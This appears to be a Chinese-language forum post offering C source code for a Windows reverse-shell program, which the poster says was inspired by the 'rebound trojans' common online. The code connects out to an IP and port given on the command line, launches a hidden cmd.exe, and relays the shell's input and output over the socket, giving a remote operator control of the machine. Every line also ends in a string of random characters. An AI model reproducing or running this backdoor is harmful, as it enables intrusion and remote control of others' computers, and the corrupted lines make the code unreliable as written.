这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ~EXCYUp4v
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/* ============================== u#^l9/tl
Rebound port in Windows NT iPWr-
By wind,2006/7 w{*V8S3h9
===============================*/ @o'L! 5Y
#include 83'+q((<
#include :~srl)|)
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#pragma comment(lib,"wsock32.lib") g`C8ouy
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void OutputShell(); .;ofRx<
SOCKET sClient; o.Y6(o
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; CH|cK8q
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void main(int argc,char **argv) 8+".r2*_iO
{ fB,eeT1v?h
WSADATA stWsaData; -Q?c'e
int nRet; 0a<h,s0"2
SOCKADDR_IN stSaiClient,stSaiServer; D Y4!RjJ47
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if(argc != 3) r#&JfAo
{ n|DMj[uT
printf("Useage:\n\rRebound DestIP DestPort\n"); T9]0/>
return; A8ef=ljM?
} k4u/vn`&r
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WSAStartup(MAKEWORD(2,2),&stWsaData); "XLtrAu{
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); shy[>\w
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stSaiClient.sin_family = AF_INET; +c
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stSaiClient.sin_port = htons(0); 8JF<SQ
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >BK/HuS
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) BYhiP/^
{ (3!6nQj-t
printf("Bind Socket Failed!\n"); N'aq4okoL
return; ]vs}-go
} k\j_hu
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stSaiServer.sin_family = AF_INET; WQiRbb X
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 5/h-Hr
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); T{`VUS/
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) OW@)6
{ ^EkxZ4*g
printf("Connect Error!"); 5jwv! L<n
return; ~OvbMWu
} H<<t^,E^.t
OutputShell(); mTUoFXX[
} =2QP7W3mg<
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void OutputShell() 7ZyP
{ r7R.dD/.
char szBuff[1024]; KfZb=v;-l
SECURITY_ATTRIBUTES stSecurityAttributes; 3RvDX p
OSVERSIONINFO stOsversionInfo; r@vt.t0#
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; XOI"BLd
STARTUPINFO stStartupInfo; )rAJ>;
char *szShell; .j^BWr
PROCESS_INFORMATION stProcessInformation; T{m) = (q
unsigned long lBytesRead; .oT'(6#
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); *mJ#|3I<
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); qnWM %k
stSecurityAttributes.lpSecurityDescriptor = 0; V rx,'/IS8
stSecurityAttributes.bInheritHandle = TRUE; (y&sUc9
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); f_xvX f:
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 9Oq(` 4
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); UA2KY}pz5
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5~jz| T}s
stStartupInfo.wShowWindow = SW_HIDE; U] GD6q
stStartupInfo.hStdInput = hReadPipe; "M /Cl|z
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; n=F
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GetVersionEx(&stOsversionInfo); Xy!NBh7I
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switch(stOsversionInfo.dwPlatformId) p=E#!cn3
{ P2aFn=f
case 1: 2Vf242z_
szShell = "command.com"; @n.n[zb\|
break; cqJXZ.XC
default: Aaq%'07ihW
szShell = "cmd.exe"; I=<Qpd4
break; i '*!c
} [XDV-6KCE.
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); <DR!AR)
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send(sClient,szMsg,77,0); Cojs;`3iF:
while(1) t^zE^:06
{ :3
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 2PRiiL@
if(lBytesRead) >JsVIfAF
{ =7H\llL4BC
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); _&9P&Zf4
send(sClient,szBuff,lBytesRead,0); [TUs^%2@
} <; ?1#ok
else 39
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{ U!uJ )mm
lBytesRead=recv(sClient,szBuff,1024,0); E0fMFG^P
if(lBytesRead<=0) break; ~|O; Sdo=
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); )`'a1y|
} 8 M,@Mbn
}
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return; ~]d 9 J
}